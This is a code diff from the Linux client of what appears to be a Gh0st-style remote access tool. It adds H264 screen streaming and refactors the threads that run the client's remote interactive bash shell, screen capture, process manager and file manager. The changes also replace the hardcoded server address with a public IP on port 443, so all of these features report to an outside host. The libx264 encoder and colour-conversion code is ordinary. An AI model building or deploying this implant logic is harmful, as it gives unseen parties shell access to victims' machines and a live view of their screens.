int result = m_h264Encoder->encode(
m_currFrame.data(), 32, m_bmpHeader.biWidth * 4,
m_bmpHeader.biWidth, m_bmpHeader.biHeight,
&encodedData, &encodedSize, 1);
if (result != 0 || !encodedData || encodedSize == 0) {
return;
}
// 构建数据包: [TOKEN_NEXTSCREEN][algo][cursorX][cursorY][cursorType][H264Data]
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
std::vector<uint8_t> packet(headerSize + encodedSize);
packet[0] = TOKEN_NEXTSCREEN;
packet[1] = ALGORITHM_H264;
int32_t cursorX = 0, cursorY = 0;
GetCursorPosition(cursorX, cursorY);
memcpy(&packet[2], &cursorX, sizeof(int32_t));
memcpy(&packet[6], &cursorY, sizeof(int32_t));
packet[10] = GetCursorTypeIndex(); // 使用 XFixes 检测光标类型
memcpy(&packet[headerSize], encodedData, encodedSize);
m_client->Send2Server((char*)packet.data(), packet.size());
}
// 差异比较算法(支持 DIFF/RGB565/GRAY
// 输出格式: [byteOffset(4) + length(4) + pixel data] ...
// DIFF: length = 字节数, data = BGRA 原始数据
@@ -1224,6 +1372,118 @@ private:
return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
}
// 获取光标位置
void GetCursorPosition(int32_t& x, int32_t& y)
{
x = 0;
y = 0;
// 检查是否正在运行和资源是否有效
if (!m_running.load() || m_destroyed.load()) {
static bool warned = false;
if (!warned) {
Mprintf("*** GetCursorPosition: skipped (running=%d, destroyed=%d)\n",
m_running.load(), m_destroyed.load());
warned = true;
}
return;
}
Display* display = m_display; // 局部拷贝
if (!display || !m_x11.pXQueryPointer) {
static bool warned = false;
if (!warned) {
Mprintf("*** GetCursorPosition: display=%p, pXQueryPointer=%p\n",
(void*)display, (void*)m_x11.pXQueryPointer);
warned = true;
}
return;
}
Window root_return, child_return;
int root_x, root_y, win_x, win_y;
unsigned int mask;
if (m_x11.pXQueryPointer(display, m_root, &root_return, &child_return,
&root_x, &root_y, &win_x, &win_y, &mask)) {
x = root_x;
y = root_y;
// Clamp to screen bounds
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x >= m_width) x = m_width - 1;
if (y >= m_height) y = m_height - 1;
}
}
// 获取光标类型索引(映射到 Windows 光标类型)
// Windows cursor type indices (from CursorInfo.h):
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
uint8_t GetCursorTypeIndex()
{
// Cache result and throttle to avoid performance impact
static uint8_t cachedIndex = 1; // Default: IDC_ARROW
static uint64_t lastCheckTime = 0;
static unsigned long lastCursorSerial = 0;
// Throttle: check at most every 100ms
uint64_t now = GetTickMs();
if ((now - lastCheckTime) < 100) {
return cachedIndex;
}
lastCheckTime = now;
// Check if XFixes is available and XFree is loaded
if (!m_x11.HasXFixes() || !m_x11.pXFree || !m_display) {
return 1; // IDC_ARROW
}
// Get current cursor image
XFixesCursorImage* cursorImg = m_x11.pXFixesGetCursorImage(m_display);
if (!cursorImg) {
return cachedIndex;
}
// Check if cursor changed (using serial number)
if (cursorImg->cursor_serial == lastCursorSerial) {
// Cursor hasn't changed, use cached value
// Note: We need to free the cursor image
// XFixes allocates this with Xlib's allocator
m_x11.pXFree(cursorImg);
return cachedIndex;
}
lastCursorSerial = cursorImg->cursor_serial;
// Analyze cursor characteristics to determine type
uint8_t index = 1; // Default to IDC_ARROW
unsigned short w = cursorImg->width;
unsigned short h = cursorImg->height;
unsigned short xhot = cursorImg->xhot;
unsigned short yhot = cursorImg->yhot;
// Heuristic-based cursor type detection (conservative approach):
// Only detect distinctive cursor types to minimize false positives
// IBEAM (text cursor): very narrow, tall cursor
if (w <= 8 && h >= 12 && xhot <= w/2 + 1) {
index = 5; // IDC_IBEAM
}
// HAND (pointing): hotspot at top-left area (finger tip)
else if (w >= 18 && h >= 20 && xhot <= 10 && yhot <= 5) {
index = 3; // IDC_HAND
}
// All other cursors default to ARROW
cachedIndex = index;
m_x11.pXFree(cursorImg);
return index;
}
// 截屏主循环
void CaptureLoop()
{
@@ -1233,10 +1493,34 @@ private:
// 发送第一帧
SendFirstScreen();
uint8_t currentAlgo = m_bAlgorithm.load();
while (m_running) {
uint64_t start = GetTickMs();
uint8_t algo = m_bAlgorithm.load();
SendDiffFrame();
// 算法切换处理
if (algo != currentAlgo) {
currentAlgo = algo;
if (algo == ALGORITHM_H264) {
// 切换到 H264发送关键帧
SendH264Frame(true);
} else {
// 切换离开 H264关闭编码器并发送完整帧
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
SendFirstScreen();
}
} else {
// 正常帧
if (algo == ALGORITHM_H264) {
SendH264Frame(false);
} else {
SendDiffFrame();
}
}
// 动态计算帧间隔(根据当前 maxFPS
int fps = m_maxFPS.load();
@@ -1250,6 +1534,12 @@ private:
}
}
// 清理 H264 编码器
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
Mprintf(">>> ScreenHandler CaptureLoop stopped\n");
} catch (const std::exception& e) {
Mprintf("*** CaptureLoop exception: %s ***\n", e.what());

471
linux/X264Encoder.h Normal file
View File

@@ -0,0 +1,471 @@
#pragma once
/**
* X264Encoder.h - Linux H264 Encoder using libx264
*
* Features:
* - Dynamic library loading (dlopen/dlsym)
* - Automatic fallback if libx264 not available
* - Manual BGRA→I420 conversion (no libyuv dependency)
* - API compatible with Windows X264Encoder
*
* Requirements:
* - libx264 installed (apt install libx264-dev)
* - If not installed, H264 encoding is disabled
*/
#include <stdint.h>
#include <cstring>
#include <cstdlib>
#include <dlfcn.h>
#include <vector>
// Include x264 header for struct definitions
// The library is dynamically loaded at runtime
extern "C" {
#include "../compress/x264/x264.h"
}
// ============== X264Encoder Class ==============
class X264Encoder {
public:
// Check if libx264 is available on this system
static bool IsAvailable() {
static int available = -1;
if (available < 0) {
void* handle = TryLoadLibrary();
available = (handle != nullptr) ? 1 : 0;
if (handle) {
dlclose(handle);
fprintf(stderr, ">>> X264Encoder: libx264 available\n");
} else {
fprintf(stderr, "*** X264Encoder: libx264 not found (%s)\n", dlerror());
}
}
return available == 1;
}
X264Encoder()
: m_x264Handle(nullptr)
, m_encoder(nullptr)
, m_picIn(nullptr)
, m_picOut(nullptr)
, m_width(0)
, m_height(0)
{
memset(&m_param, 0, sizeof(m_param));
clearFunctionPointers();
}
~X264Encoder() {
close();
}
bool open(int width, int height, int fps, int crf) {
close();
// Load library
if (!loadLibrary()) {
fprintf(stderr, "*** X264Encoder::open: loadLibrary failed\n");
return false;
}
// Round to even dimensions (H264 requirement)
m_width = width & ~1;
m_height = height & ~1;
// Initialize parameters
if (fn_x264_param_default_preset) {
fn_x264_param_default_preset(&m_param, "ultrafast", "zerolatency");
}
// Set encoder parameters
m_param.i_width = m_width;
m_param.i_height = m_height;
m_param.i_log_level = X264_LOG_NONE;
m_param.i_threads = 1;
m_param.i_frame_total = 0;
m_param.i_keyint_max = fps * 15; // Keyframe every 15 seconds
m_param.i_bframe = 0; // No B-frames for low latency
m_param.b_open_gop = 0;
m_param.i_fps_num = fps;
m_param.i_fps_den = 1;
m_param.i_csp = X264_CSP_I420;
// Rate control: CRF mode
m_param.rc.i_rc_method = X264_RC_CRF;
m_param.rc.f_rf_constant = (float)crf;
// Apply baseline profile for compatibility
if (fn_x264_param_apply_profile) {
fn_x264_param_apply_profile(&m_param, "baseline");
}
// Allocate pictures
m_picIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_picOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
if (!m_picIn || !m_picOut) {
close();
return false;
}
// Initialize input picture
if (fn_x264_picture_init) {
fn_x264_picture_init(m_picIn);
}
// Allocate picture buffer
if (fn_x264_picture_alloc) {
if (fn_x264_picture_alloc(m_picIn, X264_CSP_I420, m_width, m_height) < 0) {
close();
return false;
}
}
// Open encoder
m_encoder = fn_x264_encoder_open(&m_param);
if (!m_encoder) {
close();
return false;
}
return true;
}
void close() {
if (m_encoder && fn_x264_encoder_close) {
fn_x264_encoder_close(m_encoder);
m_encoder = nullptr;
}
if (m_picIn) {
if (fn_x264_picture_clean) {
fn_x264_picture_clean(m_picIn);
}
free(m_picIn);
m_picIn = nullptr;
}
if (m_picOut) {
free(m_picOut);
m_picOut = nullptr;
}
unloadLibrary();
m_width = m_height = 0;
}
/**
* Encode a frame
* @param bgra Input BGRA image data
* @param bpp Bits per pixel (24 or 32)
* @param stride Bytes per row
* @param width Image width
* @param height Image height
* @param outData Output: pointer to encoded H264 data
* @param outSize Output: size of encoded data
* @param direction 1 = normal, -1 = vertical flip
* @return 0 on success, negative on error
*/
int encode(uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
int direction = 1)
{
if (!m_encoder || !m_picIn || !fn_x264_encoder_encode) {
return -1;
}
// Check dimensions match
if ((int)(width & ~1) != m_width || (int)(height & ~1) != m_height) {
return -2;
}
// Convert BGRA to I420 directly into x264 picture planes
if (bpp == 32) {
convertBGRAtoI420(bgra, stride, direction,
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
} else if (bpp == 24) {
convertRGB24toI420(bgra, stride, direction,
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
} else {
return -3;
}
// Encode
x264_nal_t* pNal = nullptr;
int iNal = 0;
int encodeSize = fn_x264_encoder_encode(m_encoder, &pNal, &iNal, m_picIn, m_picOut);
if (encodeSize < 0) {
return -4;
}
if (encodeSize == 0 || !pNal) {
*outData = nullptr;
*outSize = 0;
return 0;
}
*outData = pNal->p_payload;
*outSize = encodeSize;
return 0;
}
private:
// Library handle
void* m_x264Handle;
// Encoder state
x264_t* m_encoder;
x264_param_t m_param;
x264_picture_t* m_picIn;
x264_picture_t* m_picOut;
int m_width, m_height;
// x264 function pointers
void (*fn_x264_param_default_preset)(x264_param_t*, const char*, const char*);
int (*fn_x264_param_apply_profile)(x264_param_t*, const char*);
x264_t* (*fn_x264_encoder_open)(x264_param_t*);
void (*fn_x264_encoder_close)(x264_t*);
int (*fn_x264_encoder_encode)(x264_t*, x264_nal_t**, int*, x264_picture_t*, x264_picture_t*);
void (*fn_x264_picture_init)(x264_picture_t*);
int (*fn_x264_picture_alloc)(x264_picture_t*, int, int, int);
void (*fn_x264_picture_clean)(x264_picture_t*);
void clearFunctionPointers() {
fn_x264_param_default_preset = nullptr;
fn_x264_param_apply_profile = nullptr;
fn_x264_encoder_open = nullptr;
fn_x264_encoder_close = nullptr;
fn_x264_encoder_encode = nullptr;
fn_x264_picture_init = nullptr;
fn_x264_picture_alloc = nullptr;
fn_x264_picture_clean = nullptr;
}
static void* TryLoadLibrary() {
// Try multiple library versions (newest first)
const char* libNames[] = {
"libx264.so", // symlink (if exists)
"libx264.so.164", // Ubuntu 24, Debian 12+
"libx264.so.163",
"libx264.so.162",
"libx264.so.161",
"libx264.so.160",
"libx264.so.159",
"libx264.so.157",
"libx264.so.155", // Ubuntu 20
"libx264.so.152",
"libx264.so.148", // older distros
nullptr
};
for (int i = 0; libNames[i]; i++) {
void* handle = dlopen(libNames[i], RTLD_LAZY);
if (handle) return handle;
}
return nullptr;
}
bool loadLibrary() {
m_x264Handle = TryLoadLibrary();
if (!m_x264Handle) {
return false;
}
// Load functions
fn_x264_param_default_preset = (decltype(fn_x264_param_default_preset))
dlsym(m_x264Handle, "x264_param_default_preset");
fn_x264_param_apply_profile = (decltype(fn_x264_param_apply_profile))
dlsym(m_x264Handle, "x264_param_apply_profile");
fn_x264_picture_init = (decltype(fn_x264_picture_init))
dlsym(m_x264Handle, "x264_picture_init");
fn_x264_picture_alloc = (decltype(fn_x264_picture_alloc))
dlsym(m_x264Handle, "x264_picture_alloc");
fn_x264_picture_clean = (decltype(fn_x264_picture_clean))
dlsym(m_x264Handle, "x264_picture_clean");
fn_x264_encoder_close = (decltype(fn_x264_encoder_close))
dlsym(m_x264Handle, "x264_encoder_close");
// x264_encoder_open has version suffix based on X264_BUILD
// Try common versions in order (newest first)
const char* openNames[] = {
"x264_encoder_open_164",
"x264_encoder_open_163",
"x264_encoder_open_162",
"x264_encoder_open_161",
"x264_encoder_open_160",
"x264_encoder_open_159",
"x264_encoder_open_157",
"x264_encoder_open_155",
"x264_encoder_open_152",
"x264_encoder_open_148",
nullptr
};
for (int i = 0; openNames[i]; i++) {
fn_x264_encoder_open = (decltype(fn_x264_encoder_open))
dlsym(m_x264Handle, openNames[i]);
if (fn_x264_encoder_open) {
fprintf(stderr, ">>> X264Encoder: found %s\n", openNames[i]);
break;
}
}
fn_x264_encoder_encode = (decltype(fn_x264_encoder_encode))
dlsym(m_x264Handle, "x264_encoder_encode");
// Check required functions
if (!fn_x264_encoder_open || !fn_x264_encoder_encode || !fn_x264_encoder_close ||
!fn_x264_param_default_preset || !fn_x264_picture_alloc) {
fprintf(stderr, "*** X264Encoder: missing functions - open=%p encode=%p close=%p preset=%p alloc=%p\n",
(void*)fn_x264_encoder_open, (void*)fn_x264_encoder_encode,
(void*)fn_x264_encoder_close, (void*)fn_x264_param_default_preset,
(void*)fn_x264_picture_alloc);
unloadLibrary();
return false;
}
return true;
}
void unloadLibrary() {
if (m_x264Handle) {
dlclose(m_x264Handle);
m_x264Handle = nullptr;
}
clearFunctionPointers();
}
/**
* Convert BGRA to I420 (YUV 4:2:0 planar) directly into output planes
* Using ITU-R BT.601 coefficients
*/
void convertBGRAtoI420(const uint8_t* bgra, int stride, int direction,
uint8_t* yPlane, int yStride,
uint8_t* uPlane, int uStride,
uint8_t* vPlane, int vStride) {
int srcStride = stride;
int w = m_width;
int h = m_height;
// Direction: 1 = normal, -1 = flip vertically
int startY = (direction > 0) ? 0 : (h - 1);
int stepY = (direction > 0) ? 1 : -1;
// Y plane: full resolution
for (int j = 0; j < h; j++) {
int srcY = startY + j * stepY;
const uint8_t* srcRow = bgra + srcY * srcStride;
uint8_t* dstRow = yPlane + j * yStride;
for (int i = 0; i < w; i++) {
uint8_t b = srcRow[i * 4 + 0];
uint8_t g = srcRow[i * 4 + 1];
uint8_t r = srcRow[i * 4 + 2];
// Y = 0.257*R + 0.504*G + 0.098*B + 16
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
}
}
// U/V planes: half resolution (2x2 block averaging)
int uvW = w / 2;
int uvH = h / 2;
for (int j = 0; j < uvH; j++) {
int srcY0 = startY + (j * 2) * stepY;
int srcY1 = startY + (j * 2 + 1) * stepY;
const uint8_t* row0 = bgra + srcY0 * srcStride;
const uint8_t* row1 = bgra + srcY1 * srcStride;
for (int i = 0; i < uvW; i++) {
// Average 4 pixels
int r = 0, g = 0, b = 0;
b += row0[(i*2+0)*4 + 0]; g += row0[(i*2+0)*4 + 1]; r += row0[(i*2+0)*4 + 2];
b += row0[(i*2+1)*4 + 0]; g += row0[(i*2+1)*4 + 1]; r += row0[(i*2+1)*4 + 2];
b += row1[(i*2+0)*4 + 0]; g += row1[(i*2+0)*4 + 1]; r += row1[(i*2+0)*4 + 2];
b += row1[(i*2+1)*4 + 0]; g += row1[(i*2+1)*4 + 1]; r += row1[(i*2+1)*4 + 2];
r >>= 2; g >>= 2; b >>= 2;
// U = -0.148*R - 0.291*G + 0.439*B + 128
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
// V = 0.439*R - 0.368*G - 0.071*B + 128
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
}
}
}
/**
* Convert RGB24 to I420 (YUV 4:2:0 planar) directly into output planes
*/
void convertRGB24toI420(const uint8_t* rgb, int stride, int direction,
uint8_t* yPlane, int yStride,
uint8_t* uPlane, int uStride,
uint8_t* vPlane, int vStride) {
int srcStride = stride;
int w = m_width;
int h = m_height;
int startY = (direction > 0) ? 0 : (h - 1);
int stepY = (direction > 0) ? 1 : -1;
// Y plane
for (int j = 0; j < h; j++) {
int srcY = startY + j * stepY;
const uint8_t* srcRow = rgb + srcY * srcStride;
uint8_t* dstRow = yPlane + j * yStride;
for (int i = 0; i < w; i++) {
uint8_t r = srcRow[i * 3 + 0];
uint8_t g = srcRow[i * 3 + 1];
uint8_t b = srcRow[i * 3 + 2];
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
}
}
// U/V planes
int uvW = w / 2;
int uvH = h / 2;
for (int j = 0; j < uvH; j++) {
int srcY0 = startY + (j * 2) * stepY;
int srcY1 = startY + (j * 2 + 1) * stepY;
const uint8_t* row0 = rgb + srcY0 * srcStride;
const uint8_t* row1 = rgb + srcY1 * srcStride;
for (int i = 0; i < uvW; i++) {
int r = 0, g = 0, b = 0;
r += row0[(i*2+0)*3 + 0]; g += row0[(i*2+0)*3 + 1]; b += row0[(i*2+0)*3 + 2];
r += row0[(i*2+1)*3 + 0]; g += row0[(i*2+1)*3 + 1]; b += row0[(i*2+1)*3 + 2];
r += row1[(i*2+0)*3 + 0]; g += row1[(i*2+0)*3 + 1]; b += row1[(i*2+0)*3 + 2];
r += row1[(i*2+1)*3 + 0]; g += row1[(i*2+1)*3 + 1]; b += row1[(i*2+1)*3 + 2];
r >>= 2; g >>= 2; b >>= 2;
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
}
}
}
};

Binary file not shown.

BIN
linux/lib/libsign.a Normal file

Binary file not shown.

BIN
linux/lib/libzstd.a Normal file

Binary file not shown.

View File

@@ -14,7 +14,7 @@
#include <csignal>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pty.h>
#include "common/PTYHandler.h"
#include <iostream>
#include <stdexcept>
#include <cstdio>
@@ -26,25 +26,32 @@
#include <cmath>
#include "ScreenHandler.h"
#include "SystemManager.h"
#include "FileManager.h"
#include "common/FileManager.h"
#include "ClipboardHandler.h"
#include "FileTransferV2.h"
#include "common/FileTransferV2.h"
#include "common/logger.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/rtt_estimator.h"
#include "common/client_auth_state.h"
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "LinuxConfig.h"
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
// 全局状态
State g_bExit = S_CLIENT_NORMAL;
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// 客户端 IDV2 文件传输需要)
uint64_t g_myClientID = 0;
// 服务端身份校验全局状态已抽到 common/client_auth_state.hnamespace ClientAuth
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
static std::string utf8ToGbk(const std::string& utf8)
@@ -301,306 +308,55 @@ private:
};
// ============== 心跳保活 & RTT 估算 ==============
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
// PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
// 伪终端处理类继承自IOCPManager.
class PTYHandler : public IOCPManager
void* ShellworkingThread(void* /*param*/)
{
public:
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// 创建伪终端
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// 设置伪终端为非阻塞模式
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// 启动 Shell 进程
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) m_readThread.join();
close(m_master_fd);
close(m_slave_fd);
if (m_child_pid > 0) {
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
}
// 启动读取线程
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
virtual VOID OnReceive(PBYTE data, ULONG size)
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// 处理终端尺寸调整命令
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
int cols = *(short*)(data + 1);
int rows = *(short*)(data + 3);
SetWindowSize(cols, rows);
return;
}
std::string s((char*)data, size);
Mprintf("%s", s.c_str());
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
Mprintf("OnReceive: write error %d\n", errno);
break;
}
total += written;
}
}
}
// 设置终端窗口尺寸
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
Mprintf("SetWindowSize: ioctl failed %d\n", errno);
} else {
// 发送 SIGWINCH 给子进程,通知其窗口大小已改变
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
Mprintf("SetWindowSize: %dx%d\n", cols, rows);
}
}
private:
int m_master_fd, m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) { // 子进程
setsid(); // 创建新的会话
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// 设置完整终端支持xterm.js 终端仿真)
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
// 使用 C.UTF-8 是最通用的 UTF-8 locale几乎所有 Linux 都支持
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// 启动交互式 Bash
execl("/bin/bash", "bash", "-i", nullptr);
exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// 检查子进程是否已退出
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell 已退出,发送关闭通知
Mprintf("readFromPTY: shell exited (status=%d)\n", WEXITSTATUS(status));
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
buffer[bytes_read] = '\0';
Mprintf("%s", buffer);
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY 已关闭
Mprintf("readFromPTY: EOF (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000);
} else if (errno == EIO) {
// EIO 通常表示 PTY slave 已关闭shell 退出)
Mprintf("readFromPTY: EIO (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
Mprintf("readFromPTY: read error %d\n", errno);
break;
}
}
}
}
};
void* ShellworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
RunSubConnThread<PTYHandler>(
"ShellworkingThread",
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
[](IOCPClient* c, PTYHandler*) {
BYTE bToken = TOKEN_TERMINAL_START;
ClientObject->Send2Server((char*)&bToken, 1);
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
}
c->Send2Server((char*)&bToken, 1);
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
});
return NULL;
}
void* ScreenworkingThread(void* param)
void* ScreenworkingThread(void* /*param*/)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
RunSubConnThread<ScreenHandler>(
"ScreenworkingThread",
[](IOCPClient* c) { return std::unique_ptr<ScreenHandler>(new ScreenHandler(c)); },
[](IOCPClient* c, ScreenHandler* h) {
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->SendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
h->SendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
});
return NULL;
}
void* SystemManagerThread(void* param)
void* SystemManagerThread(void* /*param*/)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** SystemManagerThread exception: %s ***\n", e.what());
}
RunSubConnThread<SystemManager>(
"SystemManagerThread",
[](IOCPClient* c) { return std::unique_ptr<SystemManager>(new SystemManager(c)); },
[](IOCPClient* c, SystemManager*) {
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c);
});
return NULL;
}
void* FileManagerThread(void* param)
void* FileManagerThread(void* /*param*/)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
